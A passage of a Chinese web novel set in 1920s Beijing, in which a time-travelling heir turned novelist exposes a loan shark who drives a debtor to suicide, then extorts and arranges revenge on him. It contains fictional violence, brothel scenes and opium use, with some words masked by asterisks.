其他人先不说,要说议论最多的还得是咱白大少爷的第二个家——百花楼!
百花楼的老鸨子珍姐姐,听着街外乱哄哄的心里疑惑。
她冲外喊了一句:“杂**老大!”
“哎!”
一个留着大分头的龟公走了进来:“什么事珍姐?”
“外边闹哄哄的议论什么呢?”
杂**老大一拍大腿:“合着珍姐您还不知道呢?”
“我知道什么呀?”
“咱们百花楼的常客,白家大少爷出名了!”
“您看看报纸”杂**老大忙取来一份报纸递到她的眼前,“您看看,现在四九城都在议论大爷写的小说。”
珍姐姐一眼就看到白敬业的照片,两眼睛里春水汪汪的。
她翻了两眼报纸,又看向周围的小姐:“上回听三老太爷说,大少爷早就从安国回来,他怎么不来呢?是不是你们谁得罪他了?”
“没有啊,珍姐姐”
“大爷走之前来的那一回,还玩的挺高兴呢。”
“杂**老大!”
“您说”
“给你个任务,上白家附近蹲着去,问问大爷因为什么不来,必须给大爷请过来。”
杂**老大一脸苦相:“这要是让白家那七老爷知道,不得把我蛋黄子挤出来?”
“甭废话,你机灵点。”
……
“浪子回头金不换,白家少东家弃医从文,沿用家族祖训,笔名为修合先生,开创新武侠之先河……”
白敬业一字一句的朗读自己那篇传记。
好家伙,读了一半自己都觉得脸红。
李主编用词也太霸道了。
给他描述成一个视钱财如粪土的多情浪子。
在看破世俗后果断投身文坛。
身怀家国情怀,激发民众觉醒,堪称鲁迅第二。
连他之前做的那些烂事都用春秋笔法点点带过。
用现在的话来说就是,我抽烟、喝酒、**、**,但我是一个进步的好青年。
白敬业不由得感叹道:“这年头文人堪称版本T0,一杆笔能**、能救国,连特么黑的都能洗成白的。”
“哥!哥!你在么哥”
门外白敬功大吵大叫,吓得白敬业一哆嗦。
“喊什么?进来!”
白敬功风风火火的闯了进来。
他和白敬业哥俩的关系正经不错。
最主要咱白大少爷能带他玩啊。
别的不说,喝酒划拳都是白敬业一把手教出来的。
白敬功手中拿着报纸笑吟吟的说道:“哥,射雕英雄传真是你写的?写的可太好了。”
“多大点事,至于么?”
“当然至于了!哥你不知道,现在大街小
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巷都在议论这事,我们全班的男生都喜欢看。”
白敬功凑近满脸谄媚道:“哥,你手里一定有存稿,能不能先让我看看。”
“呵呵,前三回的存稿都给报社了,我手里还是从第四回开始……”
白敬业说到一半才反应过来:“不对,你不是在学校住校么,怎么回来了?逃课了?”
“唉,没有”白敬功叹了口气,“学校又停课了,老师的薪水发不出来,我们就都从学校回家了。”
白敬功也是北大的学生。
民国时期上大学可谓是一波三折,隔三差五就停课。
老师的薪水是一拖再拖,校长干脆不回来。
例如张作霖请蔡元培,怎么请人家也不回来。
反正课上的怎么样不知道,**是一个比一个厉害。
算算时间,等倒戈将军进北平,就又开始**反对军阀内战了。
白敬功好几次吞吞吐吐欲言又止。
“怎么了?有什么话就说。”白敬业疑惑道。
“哥,你知道黄埔军校么?”
白敬业端起水杯,点点头:“知道,中山先生设立,由日记家任校长。”
“我们好几个同学都想报名,我也想报名参加,你看合适么?”
白敬业一口水差点没呛死:“咳咳咳,你说什么?咳咳”
“哥,我也想像岳爷爷那样,壮志饥餐胡虏肉、笑谈渴饮匈奴血!”
“你歇菜吧,打仗不是好玩的、不是请客吃饭!老老实实上大学。”
“哥!你小说里不是这么写的!如今正值战乱,国家外有强敌、内有虎狼,我中国百姓自当奋强。”
白敬业听完头都尼玛大了。
好嘛,没等到抗战激发百姓斗志,先尼玛给亲弟弟激活了。
不过想想也是,白敬功这时候正是热血青年。
白敬业蹲大狱的时候。
他还参加过后来三一八的**。
可是黄埔军校是那么好混的么?
学弟打学长、主任配合宣传部长给校长打到岛上钓鱼。
言差一步都容易身首异处,白敬业自问是混不明白。
“行!我的傻弟弟,你别跟我这喊口号,奶奶和妈那能让你去,你再做打算吧。”
一提奶奶,白敬功的气也泄了。
“咚咚”
“进来”
小木棉推门走进:“咦,二少爷也在,大少爷,槐花姑娘来了,说是老太太找你过去。”
“行,我知道了”
第13章 收印子钱
“你们快瞧瞧,谁来了!咱们白家的大作家来了!”
白敬业刚走到房门口,二老太太就满脸笑意的招呼一声。
他略微一打量,屋里的人还真不少,就连白景琦也在。
“奶奶、大爷、二大爷、六大爷、爸、妈。”
“好,快过来挨着奶奶坐。”
屋里的人都笑盈盈的看着他,唯独白景琦笑的有些尴尬。
其实他也挺高兴,但一想起自己前些日子说的话,觉得比较打脸。
二老太太拉着白敬业的手,满眼都是喜爱:“敬业,你怎么想起来写书了?”
“奶奶,我不是从安国回来就病了么,想着待着也是待着,就把上学时候学的捡起来随便写写。”
二老太太指着白敬业冲众人道:“你们瞅瞅,我这孙子多有出息,顺便一写就轰动了北京城!”
“是,老太太您教导有方”
“敬业不愧是北大的高材生,有出息!”
“景琦和黄春教育的好!”
一个人,当你做出成绩了,身边都是好人,你听见的都是赞美之词。
可当你失败了,别说好朋友,最先看不起你的可能是父母。
“这孩子让我最高兴的,是他没忘了根!笔名修合正承祖训,起的好!”
修合无人见、存心有天知!
二老太太说着一挥手:“**管,一会安排人,今晚咱们便宜坊叫一桌!我请客!”
“是了您,我这就安排。”
“你们再给我念一遍,我还要听!”
白敬功起身拿起报纸站到中间清了清嗓子:“奶奶,我给您念。”
趁着大伙热闹的时候,黄春悄悄凑到白景琦的耳边。
“景琦,这牛腚上是能开出牡丹花来!”
“呵呵呵呵呵”
……
“哥,大少爷写的是真好,杨铁心的杨家枪可真棒!”
“你说这杨家枪现在还有人会么?”
**听着弟弟王武嘟嘟囔囔的眉头一皱呵斥道:“别说话,盯着点人。”
“知道,盯着呢”
时间不长,从酒馆里走出一行人。
为首的正是杨亦增。
在他身旁站着一个大光头,满脸的凶相。
“杨爷!咱下午先奔哪家啊?”
“先去老秀才那”
“哈哈哈…”
光头一笑脸上的横肉都跟着颤悠:“杨爷,老秀才那女儿长得可是够他妈水灵的,听说还是个雏儿。”
杨亦增也笑了起来:“他要是没钱,就要了他女儿,卖到百花楼少说得这个数。”
他说着伸出一巴掌来。
“哥几个,下午这几家大伙,都卖卖力气,晚上挑个好馆子,咱们接着喝!”
“杨爷仗义!”
一行人众星捧月似的往南城而去。
张秀才此时正在家里吞云吐雾。
按理说前清的秀才不至于落魄到去借印子钱。
满清对于身上有功名的人待遇还是不错的。
像种地免税、不用服徭役。
有不少大户人家都把乡下的地挂在秀才身上,可以合法**。
另外那个年代识文断字的人少,秀才可以配合大户垄断一个村落的政策。
最终解释权在人家手里,说什么是什么。
清末后期有那么句话,光绪的圣旨连宛平县都出不去。
张秀才家里有一儿一女。
老伴儿在十几年前生女儿时难产而亡。
他年轻时确实颇有家资,祖上也留下不少钱财。
架不住染上恶**,一个赌、一个毒全都沾上。
几年的时间就把家产挥霍一空。
不是所有人都跟白敬业似的,挥霍完有人擦屁股。
“爹!您别抽了,那玩意对身体不好!”
张秀才的儿子张增致隔着房门,向屋里喊了一句。
“哼!忤逆的东西,怎敢对父亲如此无理!”
都这样了还特么咬文嚼字呢。
真是脱不下的长衫、下不来的高台。
张增致刚准备和父亲继续争辩。
“咣!”
院门被人一脚踢开,走进来七八个彪形大汉。
“你…你们要干什么”
他一把抄起身旁的扁担,但颤抖的腿掩饰不住害怕的情绪。
“哥怎么了”
妹妹张月婷听见外边喊声赶紧出来。
光头看见张月婷满脸的淫笑,“你爹那老棺材瓤子在家么?让他出来,该还钱了不知道么!”
张秀才此时正处在云里雾里,晃晃悠悠的走了出来。
“杨大爷,您今儿怎么得闲来了。”
“啪!”
光头上去就是一大嘴巴,给张秀才扇的瘫倒在地,“少他妈废话!欠我们杨爷的钱该还了不知道么?”
“爹!”
张家兄妹赶忙上前扶起老爹。
“杨…杨爷,前些日子我不都还您三十块了么,总…总共我才借了不到100块,我都还…还至少150块了!”
杨亦增呵呵一笑,两只耗子眼眯成一条缝。
从袖
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口里抽出一张借据,“张秀才,这上面白纸黑字写的,九出十三归的利息,你可不能不认账吧!连本带利你还差我230块!”
九出十三归,利大本无归!
“杨爷!杨爷!求求您高抬贵手,我…真的没钱,求求您宽限宽限。”
“爹!呜呜…”
张秀才跪在地上苦苦哀求,一双儿女见他的样子也不停的流眼泪。
“呵呵”
杨亦增脸上挂着狰狞的笑容,蹲在地上看着这一家人。
“张秀才,我给你出个主意怎么样,保证你下半辈子吃香的喝辣的!”
“杨爷,您说,只要您能高抬贵手,怎么着都成!”
杨亦增伸手摸向张月婷的脸蛋,吓得她赶忙躲闪。
“你这女儿模样真不错,百花楼我有熟人,至少能出六七百两。
“让她过去干几年,少说也能给你赚回个金山银山来!”
张秀才脸色变得铁青:“这…杨…我就这一个…”
“姓杨的!你放屁!”张增致连忙把妹妹护在身后。
“哼!敬酒不吃吃罚酒!花猫,教训教训这小兔崽子!”
“杨爷擎好吧您,哥几个给我上!”
光头一声令下,几个地痞一拥而上。
围着张增致就是一顿暴打。
这些地痞平时都和花猫练过几手把式。
下手没轻没重,没几下就给他打的口吐鲜血。
“别打了!别…别打了!我有钱!呜呜呜……”
张月婷像疯了一样,往哥哥身边扑去。
“等等”
“小美人儿,你哪来的钱啊”
张月婷哭着跑进屋里,拿出一个红布包来。
“这…这是我娘留给我的遗物”
杨亦增接过一看,是一对儿水头十足的玉镯子。
心里盘算一下,至少能值200块。
他眼珠转了转:“这也不够啊,顶多能值50块。”
“求求您宽限几天,我们再想办法。”
“成”
杨亦增转头看向花猫:“小美人儿都说话了,咱们哥几个得给点面子。”
“哈哈哈,杨爷真是怜香惜玉”
光头捧了一句,又转头冲张秀才恶狠狠道:“告诉你!就给你三天时间!三天后,没钱就拿你女儿抵债!”
“你甭想着跑,四九城都是我们的人!”
“你就是报官我们也不怕,我们杨爷的兄弟是北平警察厅厅长!”
“惹急了我们,到时候给你们一家都下大狱!”
第14章 出人命
撂下几句狠话,一群**摇大摆的走出小院。
扯大旗作虎皮被他们玩的是明明白白。
不过有句话他们没说错。
南城附近有那么一伙地痞无赖都跟着他们手下混饭吃,势力庞大号称三合帮。
张秀才一看儿子被打的昏迷,连滚带爬的扑了过去。
父女二人费了好大的劲才把张增致抬回了屋。
“爹,得找郎中给哥治伤。”
张秀才点点头,“哎,你在屋里等我。”
他一转身蹒跚着进了自己的屋。
翻箱倒柜拿出最后两块大洋放在炕上。
又拿起剩下的那一包药膏,浑浊的老泪顺着眼角流了下来。
“哥,他们出来了。”
**、王武猫在一棵树后,紧盯着这群人。
院里的响动他俩在外边听的是一清二楚。
“呸!这个王八蛋,少爷什么时候动手?哥,不行的话咱俩晚上,趁着没人好好收拾他一顿!”
**眼睛一瞪低声呵斥:“胡闹,别耽误少爷的正事。”
这段时间**、王武跟踪杨亦增攒了一肚子的火。
这个畜生干的这些事,他俩是尽收眼底。
现在只要白敬业一声令下,他俩都能把杨亦增撕碎了。
兄弟二人等到杨亦增一群人走的远一些,才准备在后边悄悄的跟上。
他们刚走没两步,就听见小院里传出凄惨的叫声。
“爹!爹!你怎么了!爹!”
兄弟俩对视一眼,也顾不上跟踪,转身进了小院。
里屋张秀才嘴角渗出鲜血,不停的挣扎。
“爹…爹你怎么了?”张月婷跪在床头哭的泣不成声。
“咣当”
门声一响,张月婷看着闯进来的**两兄弟惊慌失色。
“你们…你们是谁,你们是和他们一伙的?”
“姑娘,我们是好人。”
**说着上前查看张秀才的情况。
他一看张秀才嘴角残留的烟膏子,无奈的叹了口气。
“我爹他,他怎么了”
“唉,你爹吞了烟膏子,救不过来了,姑娘节哀吧。”
“爹……爹”
王武赶到另一个屋里查看张增致,只是被打的昏了过去。
“姑娘,跟我们走,先救你哥吧!”
“你们到底是谁…呜呜…”
“是我们少爷派我们来救你的,小武你背着他!”
傍晚时分,大宅门里依旧是欢声笑语。
正堂屋人都坐满了,讨论的重点依旧是白敬业。
白玉婷、佳丽,各房的主人都齐聚一堂。
连三老太爷都抽空来凑了热闹。
要说白家,谁和白敬业玩的最好。
还得是三老太爷,毕竟爷孙俩做过一个洞的洞友!
“敬业!晚上陪你三爷爷好好喝几杯!”
“是了,我非得给三爷爷喝趴下不可。”
白颖宇一拍白敬业的肩膀:“行啊,小子有出息。”
二人眼神一交流都心领神会。
这时,小胡连呼哧带喘的走进屋内。
**管一看自己儿子这么冒失,脸就拉了下来。
“你着什么急!冒冒失失的,没规矩!”
大家族里讲究的是啥。
天塌了你也得走的四平八稳,要的就是这股子深沉。
二老太太一摆手:“大喜的日子你说他干什么,什么事小胡。”
小胡稳稳心神:“禀老太太,报社来人了,说想跟少爷商量下小说的事。”
“敬业那你快去吧,快去快回”
“我知道了奶奶”
二人走出厅堂,白敬业看他慌张那样就知道不是报社的事。
到了没人的地方,小胡才急忙说道:“少爷出事了!杨亦增逼**命……”
白敬业眯着眼听完心里冷笑,“他终于作到头了。”
“**人呢?”
“在门房等着呢”
“带他去我书房。”
书房里,**一五一十的把事情的经过讲述一遍。
白敬业听完蹙起眉头,手指在桌上不停的敲动。
**看他的样子,以为是自己救人惹了祸,“少爷,对不起是我们让你为难了,不该多管闲事…”
白敬业一摆手:“我没说你们不对,我在想这俩人该安排在哪?”
“你和王武住的地方人多眼杂,而且住着也不方便。”
小胡也在心里寻思着,他脑子突然想到:“少爷,您还记不记得您姥爷武贝勒的墓地?”
“对,城外小菜园那有一所宅院,我怎么给这茬忘了,那地方能住人么?”
小胡点点头:“能住,太太吩咐我每季都打扫一遍,而且东西都齐全。”
白敬业在抽屉里拿出六十块大洋,“你和王武事情做的不错,一人拿二十。”
“剩下的二十,你到街上买些吃的用的,今晚连夜送这兄妹俩出城。”
“另外小胡,你到柜上找位先生,给他治治伤。”
“少爷,这…这太多了”**看着大洋不好意思拿。
“哈哈”,白敬业拍拍他的肩膀:“你替
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少爷我办事,这是你应得的。钱是什么,钱是王八蛋!你们比钱重要。”
**听了满怀感激。
最近这一段,白敬业给身边人没少拿钱、送东西。
这么做的目的是什么,就是在散财养人。
死士是怎么养出来的,不是一个月给你开三千五,早九晚六的干活。
“你们去吧,**你和王武今晚就守着他俩,明天一早我再去。”
“是,少爷”
……
第二天一早
白敬业带着李贵、李福出了城门直奔城外小菜园。
他靠在车上向小胡打听着:“小胡,你说我这亲舅舅现在人在哪呢?”
“少爷,这还真不清楚,当年给武贝勒下葬后,我们打听了好久,可周围村子都说没见过这人。”
白敬业依稀记得黄立是回了蒙古老家。
蒙古大了,往哪去找呢。
他对黄立这身功夫可是羡慕的紧,一个人一把刀能打好几个土匪。
而且舅舅对外甥那肯定没说的。
“你说我舅舅和我姥姥能不能回蒙古老家了?”
小胡闻言也点点头:“有可能,要是回蒙古老家估计只有一个人能知道。”
“谁?”
“詹王爷的孙子詹奎禧,老姑奶奶的姑爷。”
白敬业听完泄了气:“我听说他可是跟关静山搞一块去了。”
“是,关静山现在带兵跟张大帅他们打着呢,少爷我听说前线吴大帅已经到了山海关,估计张大帅这回又要败北。”
白敬业在心里盘算了一下,“关静山!这王八蛋后来当了汉奸,找机会我也得把他除了!要不早晚是祸害。”
“等咱们把杨亦增的事办完,你偷摸给我打听打听我姥姥的老家在哪,看看能不能把姥姥和舅舅接回来。”
“好的,少爷,我爹应该也能知道当**,把老夫人找回来,太太肯定能高兴。”
几人一路聊着,马车就赶到了城外小菜园。
菜园旁最显眼的就是贵武的那座坟。
白敬业站在坟前唏嘘不已。
要说原主最像谁,那一定是贵武。
完美的继承了贵武缺德的血脉,可又没有贵武那点聪明劲。
贵武可是替慈禧干黑活的人。
毒死二格格,连白家大爷隐藏那么多年,都被他挖了出来。
白敬业摆上提前带好的贡品,简单的替原主祭拜祭拜,心里默念,“白敬业啊,你跟你姥爷在那边好好玩,下次给你俩烧俩小纸人,整俩日本的。”
第15章 百花楼(1)
“哥,喝药吧”
张月婷将勺子送到哥哥嘴边。
张增致咽下一口药问道:“爹的遗体送出来了么?”
张月婷点点头:“**大哥帮着买的棺材,爹的遗体就停在后院。”
“咳咳,我要去看看”
张增致不顾身体的伤势就要下床。
可一动弹身体钻心的疼,无法自己行走。
“哥,你别动,你伤还没好。”张月婷眼泪刷刷的流了下来。
“杨…杨亦增!我一定要杀了他!”
屋外
**正准备着早饭。
“嘎吱”
推门声响起,走进一个年轻人,**赶忙停下手里的活。
“少爷,您来了。”
白敬业点了点头:“那俩人醒了么?”
“醒了,在里屋呢。”
**前边带路,挑开门帘冲兄妹俩说道:“我们少爷来了。”
兄妹二人就见一个西装革履的年轻人走进屋内。
白敬业看见张月婷一怔。
从穿越来到民国,还是第一次看见这么漂亮的姑娘。
但他也不是啥绝世**,仅仅看了一眼便收回目光。
张氏兄妹看白敬业的穿着和身上的气质,顿时有些紧张,双双低下了头。
老话说得好,话是拦路虎,衣服是瘆人的**。
尤其是在贫富差距两极分化的民国,穷苦人的自卑是由内到外的。
白敬业轻声笑道:“二位昨晚休息的好么?”
到底是读书人的家庭出身。
张增致很快便稳定心神,拱手抱拳:“多谢恩公救命之恩,敢问恩公姓名,我们兄妹无以为报,日后自当报答。”
白敬业一愣看向**。
“少爷,我没跟他们透露您的身份”**凑近白敬业耳边低声道。
“咳”
白敬业轻咳一声:“我做个自我介绍,我叫白敬业,是百草厅白家的少东家。”
张增致听完脸色变得阴沉,咬着牙说道:“杨亦增是你们白家人?”
白敬业并没否认:“没错,他是我们府上的二房姨太太的亲哥哥,白七爷是我的父亲。”
“那你为什么还要救我们!咳咳…”
张增致挣扎着坐了起来:“他是你的亲戚,他做的这些事都是有你们这些人撑腰。”
“嘭!”
他把药碗摔在白敬业的脚下怒吼道:“你还假惺惺的来救我们!你有什么目的!”
“放肆!敢这么和我们少爷说话!”
“哥!你快躺下!”
张月婷怕白敬业生气扑通跪了下去,流着眼泪说道:“白少爷您别生气,家父身亡,我哥他是悲伤过度。”
白敬业掸了掸身上的污渍,也没生气。
扭头示意小胡把她扶起来。
他细声细语的说道:“其实呢,我也没必要向你解释,但你既然问了,我就多说一句。”
“救你们是因为我最近一直在跟踪杨亦增,他打着白家的旗号做了太多的孽。”
说着他一指**:“我家的人心肠好,偶然碰上才救了你。”
“至于有什么目的,呵呵”
白敬业脸上挂起嘲讽的笑容:“你看看你自己,病歪歪躺在床上,喝个药还要靠妹妹喂。”
“你还有什么值得我去利用呢?!”
白敬业说完挑帘准备往外走。
“白少爷!”
白敬业一回头,就看见张增致艰难的跪在地上。
“白少爷,只要您能帮我报仇,我这条命就是您的了!”
白敬业轻笑一声,没说答应也没说不答应。
另一间屋内,白敬业把他临时的小团伙凑到一起。
小胡,**两兄弟和李贵两兄弟,几人围成一圈。
他抽出根香烟,小胡顺势拿起火柴帮他点燃。
“哥几个都是我心腹,少爷我准备一把除掉杨亦增,你们怎么看?”
“少爷你吩咐,我早就想干他了”说话的是王武。
“少爷您说什么,我们就做什么!”
李贵、李福两兄弟也表了态。
剩下一个小胡,心里有些犹豫但也没反对。
他知道就杨亦增干的这事,现在让七老爷知道。
别说大少爷揍他一顿,就算打折他三条腿,七老爷也不能说别的。
更何况少爷还有个大靠山呢,弄不好都得把姨奶奶一起撵出去。
“好,那咱们就这么办……”
……
杨亦增这几天忙的是不亦乐乎。
自从杨九红和他说完,他也真抱着收手的心态。
因为他权衡了一下,老干这事也不太长久。
要是能从白景琦那揽下一些活来,赚钱比这快多了。
谁不知道白七爷是挣钱没数、花钱没边。
财来如山崩海啸,财去如大海决堤。
多搂几年再生一大胖小子那多美啊。
他正带着人往饭馆里进的时候,就听见后边有人喊他。
“哎呦,杨大爷!在这碰见您了,我都找您好几天了。”
杨亦增一愣,看这人有些眼熟但想不起来是谁。
“你是?”
“大爷您不记得我了,我是跟着大少爷的李贵。”<
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br>“哦哦哦,想起来了,有什么事。”
“姆们大少爷让我找你好几天了,说是有重要的事,可三天两头也不见您的人影。”
“大少爷找**嘛啊?”杨亦增有些疑惑。
李贵往左右看了看,压低声音凑近道:“大少爷这几天没什么精神,他说我跟您一说您就懂了。”
杨亦增眼珠转转想明白了,他轻咳一声。
“我知道了,你回去禀报大少爷,我下午一得空就去找他!”
“得嘞,您忙着,我还得去给少爷买东西呢。”
“回见。”
在旁边的花猫也听见两人的对话,好奇的问道:“杨爷,他说的大少爷是报纸上那个?”
“那没错啊。”
“哎呦喂,瞧瞧嘿,还得是咱们杨爷,连京城的大作家都得找杨爷办事。”
杨亦增听了腰板拔的倍儿直,撇撇嘴说道:“要论啊,大少爷得叫我一声舅舅呢!”
李贵走过两条街,来到一个爆肚摊前坐好。
冲着大快朵颐的白敬业说道:“少爷都办妥了,那王八蛋说下午一定来找您。”
白敬业拿起一盘刚做好的爆肚放到李贵面前。
“快吃,这爆肚啊凉了就膻气。”
“谢谢少爷”
白敬业边说边往碗里放了一把香菜:“冬不吃爆肚,夏不吃馅。再过俩月爆肚就没法吃啦,哥几个多吃,今天咱给这爆肚摊包圆啦。”
“哈哈哈”众人一阵大笑。
吃罢了饭,白敬业带着几人逛了一圈。
算算时间就赶回白府。
离家门还有一段距离的时候,突然前边窜出来一人拽住马车。
“大少爷,大少爷,慢着点!”
小胡一眼就认出来是百花楼的杂**老大,“心想这是来勾搭我们大少爷的。”
他没好气的说道:“滚一边去!李贵、李福给他拽走!”
李贵刚想动手,就听见白敬业制止。
“等等,让他过来。”
杂**老大一脸的谄媚,“大爷,您吉祥。”
“我说杂**老大,你是特意来这堵我呢?什么事?”
“我的爷,您说您最近也老不上我们那,秋红姑娘想您想的都不行了。”
“她那俩眼睛哭的,那叫一个惨,非要我来看看您。”
“是不是我们哪做错,得罪您了。”
“哈哈哈”
白敬业哈哈一笑,心里默默思索一下。
“这样吧,也不能让你白来,明晚我要会个朋友,你看着安排。”
“好嘞,我谢谢您”
第16章 百花楼(2)
回去的路上。小胡不停的劝道。
“少爷,您不能去那个地方。”
“那地方是销金窟。”
白敬业气笑道:“我说你有完没完,少爷我说了,去那是办正事的。”
“那…那咱们不是说好随便找个饭庄么。”
“这不是遇上了么,再说百花楼更合适。”
小胡还是一直默默叨叨。
无非就是少爷您赚的钱怎么不容易。
不能把钱都花窑子里。
一直磨叽到白敬业走进书房。
“咦少爷,小胡管事刚才一直叽叽喳喳跟您说什么呢?”
木棉端着一杯茶递到白敬业面前。
白敬业接过茶抿了一口,没好气的说道:“甭搭理他,更年期犯了。”
小木棉歪着脑袋迷糊道:“嗯?什么是更年期。”
“就是…就是岁数大了”
白敬业把茶杯放到一旁,从兜里掏出一个小铜管。
“来看看这是什么。”
小木棉拿在手里,面色变得潮红,一脸的兴奋:“这是口红!我在少奶奶那见过。”
“喜欢么,送你了。”
“真的么少爷”
“少爷特意给你买的。”
口红在这个年代算是特别奢侈品,一支普通的要1-2块大洋。
普通人家见都见不到。
“谢谢少爷,少爷你真好”
白敬业坏坏的凑到她耳边,“少爷这么好,最近天有点凉,要不要晚上给少爷暖暖床。”
他说着手还在木棉身后软腻之处拍了两下。
“呀!少爷,你…你坏!”
小木棉满脸红的像桃似的,给了白敬业一个白眼。
逃也似的出了门,手里还紧紧攥着口红。
“哈哈哈,我躺一会儿,一会有人来让他直接进来。”
……
“木棉姑娘,大少爷在么?”
大约下午三点左右,杨亦增忙活完来到白敬业的三厅院。
木棉正在院子里和几个姐妹儿闲聊。
见杨亦增找自家少爷,眉头皱了皱。
她们都是二老太太调教出来的,自然对杨九红这些亲戚唔的没什么好脸色。
“少爷睡觉呢,我去问问,你等着吧。”
“咚咚,少爷,姨奶奶的哥哥来了。”
“哈欠~”
白敬业打了个哈欠,语气有些疲惫:“让他进来吧。”
杨亦增弯着腰,一副奴才相走进了屋。
谄上者必欺下!
他脸上带着谄媚的笑容:“大少爷您找我?”
白敬业冲木棉摆了摆手:“你去吧,这不用伺候。”
等木棉带好了门,白敬业抽了抽鼻子问道:“带了么?”
“带什么?”杨亦增装着糊涂。
白敬业翻了个白眼:“装什么糊涂,那个!”
他说着用手做了个托举的手势。
“嗨,少爷,这是宅门,我哪敢把那个东西光明正大的带进来。”
白敬业又打了个大哈欠:“我这两天老没精神,你送的那些都抽完了,再给我弄点。”
“哎,好的少爷,但是现在有点…”杨亦增显得有些为难。
“怎么了?”
“少爷您不知道,像这种上等的货,最近查的严,就是这价格…呵呵”
白敬业一撇嘴:“不就是钱么,少爷我有的是钱!”
“得,少爷那我明白了,您看您什么时候要?”
白敬业假装合计了一下:“这样吧,明晚八点百花楼,少爷我也好久没去了,请你高乐高乐!”
杨亦增一听百花楼,心里乐开了花。
他手里是有不少钱,可百花楼的消费,他还真不舍得。
心里盘定主意,要好好宰白敬业一笔。
就这样两个各揣心思的人,都阴阴损损的笑了起来。
一个想从对方兜里掏出钱来。
一个是想吃掉对方,包括他的命!
夜晚,八大胡同展现出北平城的另一面。
数座花楼皆是灯火通明,脂粉香气仿佛遮住整个北平。
虽不如上海的十里洋场。
但古香古色的典雅别添另一种滋味。
这里没有为生活挣扎的人。
有的是肆意挥洒的金钱。
是春宵一刻值千金。
是王侯公子、才子佳人的歌舞场。
“大爷!可算把您盼来了。”
杂**老大离着老远就迎着白敬业走了过去。
白敬业掏出一块大洋往天上弹了上去。
杂**老大眼疾手快一把接住。
“一会儿我还有个朋友要来,直接领到我那屋。”
“是了您”
白敬业大摇大摆走进百花楼。
珍姐姐摇着扇子,接待来往的客官。
她一眼就贼住进来的白敬业。
风情万种的迎了上去:“爷~您还记着
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百花楼的路怎么走啊,我还以为您把我们忘了呢?”
“呵呵呵,爷没来也没耽误你们赚钱啊。”
“瞧您说的,赚别人的钱我们是含着泪,赚您的钱我们是真真高兴,就想添个喜气。”
“满北平现在谁不知道大名鼎鼎的修合先生。”
白敬业用手勾住她的下巴:“你现在是越来越会说话,要不今晚你陪陪爷?”
珍姐姐俩眼睛水汪汪的:“爷~您是要有这心,甭说钱了,我倒找您都成~”
白敬业心想,不好,这娘们玩真的。
身子都快粘白敬业身上,手还欲往他下三路奔。
白敬业不动声色的侧退一步:“咳,爷今天还有点事,让秋红她们几个到我房间。”
在白敬业没注意的地方,一个长着络腮胡子的男人瞄了白敬业几眼。
珍姐姐眼瞅着白敬业的背影,满脸的失望。
随即恢复神色继续迎客。
“杨爷~初次来我们这,你得多喝~”
“我多喝,一…一定多喝!呃!”
“哈哈哈,杨爷~我跟您来个渡情~”
一个妖艳女子嘴中含着酒渡了过去。
杨亦增来之前,白敬业已经交代好,今晚让她们一定把杨亦增灌倒。
这几个人都是跟白敬业多年的管鲍之交。
白敬业说句话比她们亲爹娘都管用。
再能喝的人来到这都得拉稀。
风尘场厮杀的女子都是千杯不醉,更何况三四个人灌一个。
“喝…喝,喝…”
杨亦增说了几个喝字,一头杵到桌子上呼呼大睡。
“**”
白敬业鼓掌笑道:“姐儿几个功夫一点没退步哈,得嘞,叫两个伙计搀着他,今晚咱们就到这了。”
“啊?爷,不是说好不走了嘛~”
秋红坐在白敬业身上,双手揽着他。
白敬业拍拍她的后背:“明早我还有事,过两天咱们在好好乐呵。”
他说着从怀里掏出一沓银票扔在桌子上。
一晚上就三百块!
足够一个三口之家衣食无忧过一整年的。
而且这还是只喝酒不过夜的钱。
要不是黄春后来又把那二百银票偷摸给他送回去。
白敬业说不准今晚就得挂账。
他心里暗暗发狠,今天要不把杨亦增的钱掏干净,就把他蛋黄子挤出来喂苍蝇!
第18章 杀杨亦增
杨亦增脸上直冒冷汗,结结巴巴的说道:“大…大少爷,您别开玩笑。”
“我我我哪得罪您了,我给您赔不是,您快给我解开。”
白敬业眨眨眼慢条斯理的说着。
“杨亦增,**胆儿挺大啊。打着我们白家的旗号在外边窝娼嫖赌、放印子钱、卖**…”
他挠挠头看向**:“这王八蛋还有什么事。”
**咬着牙表情变得凶狠:“逼良为娼、拐卖孩子。”
“哼,心够狠的,怪不得你生不出孩子”
白敬业冷哼一声:“你说你干的这些烂事,我要是告诉我爸爸,你会是什么下场?”
“别…别,千万别大少爷。”
杨亦增挣扎着跪在地上,不停的给白敬业磕头:“大少爷您开恩。”
“您放过我!你把我当个屁放了吧。”
“停停停!”
白敬业一摆手:“你在外不是说,你是我舅舅么,舅舅给外甥磕头,是让我折寿啊!”
“不敢不敢大少爷,我就是个屁”
“打住!商量商量吧,你看你这条命值多少钱。”
白敬业乐么滋的看着他。
杨亦增心里暗骂,“小王八蛋还想讹老子的钱。”
可脸上却不敢表现出来:“少爷,我媳妇那有三千大洋,您放了我,我都给您取来。”
“呵呵”
白敬业一笑看向左右:“他不老实,算了,送他上路吧。”
**、王武二话不说抽出**就要攮死他。
“别……我有钱!我有钱!”
“停!”
“少爷,我有五千,五千!”
“攮他”
“一万!”
白敬业不想再跟他废话,一脚蹬在他的脸上:“给我打!”
二王和二李得到大令。
给杨亦增打的屁滚尿流,连隔夜屎都打了出来。
“别打了,饶…了我吧,我说”
杨亦增一五一十的把自己这点财产交代清楚。
白敬业分辨了一下,除了他正牌老婆那些钱。
其他的已经都在白敬业的手里。
白敬业心里叹了口气,“看来那些钱是拿不到了,算了,弄这么多也够了。”
因为他老婆也住在白家,大张旗鼓的弄出事,大家面上都不好看。
“行吧杨亦增,咱俩的账算是结清了,还有人想跟你结另一笔账。”
“啪啪”
白敬业拍了两下手,两道身影走进屋内。
正是张增致和张月婷。
两人目中含泪、双眼通红死死盯着杨亦增。
张增致手直颤抖指着,“杨亦增!你害死我爹!今天我要替我爹报仇!”
白敬业一使眼色。
**、王武提起杨亦增来到小院不远处的空地。
空地的中央摆放着一口棺材。
“杨亦增!你逼死我爹,给我爹磕头!”
“我磕,我磕”
张增致对着他一顿拳打脚踢。
“别打了!别打了,我给你们兄妹当牛做马,求求你们放了我吧。”
“我也没想到你爹能**,我要知道我我我早就给他的账免了。”
“呸!你这个畜生!”
白敬业在一旁看着,心说怎么这么磨叽,一刀下去就完了。
他从后腰抽出****。
“咔嚓”拉开枪机,塞进张增致的手里。
“来!对着他身上扣**,枪一响你爹的仇就报了!”
“我……”
张增致手抖了半天,瞄了好几次都没下得去手。
杨亦增看着黑洞洞的枪口,魂都吓飞了。
